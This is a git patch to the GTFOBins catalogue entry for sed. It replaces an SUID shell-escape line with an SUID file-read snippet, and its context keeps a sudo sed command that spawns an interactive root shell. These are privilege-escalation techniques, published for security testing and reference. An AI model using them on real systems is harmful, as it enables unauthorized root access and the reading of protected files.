From b3fc53a9d3d9a036ff629ff91a26268e7540a250 Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Wed, 13 Jun 2018 16:42:02 +0200 Subject: [PATCH] Remove invalid SUID execute from sed --- _gtfobins/sed.md | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/_gtfobins/sed.md b/_gtfobins/sed.md index c0f2f67..fca942b 100644 --- a/_gtfobins/sed.md +++ b/_gtfobins/sed.md @@ -10,8 +10,9 @@ functions: - description: GNU version only. Also, this requires `bash`. code: sudo sed -n "1e /bin/bash -c 'exec 10<&0 11>&1 0<&2 1>&2; /bin/sh -i'" /etc/hosts suid-enabled: - - description: GNU version only. Also, this requires `bash`. - code: ./sed -n "1e /bin/bash -c 'exec 10<&0 11>&1 0<&2 1>&2; /bin/sh -i'" /etc/hosts + - code: | + LFILE=file_to_read + ./sed -e '' "$LFILE" file-read: - code: | LFILE=file_to_read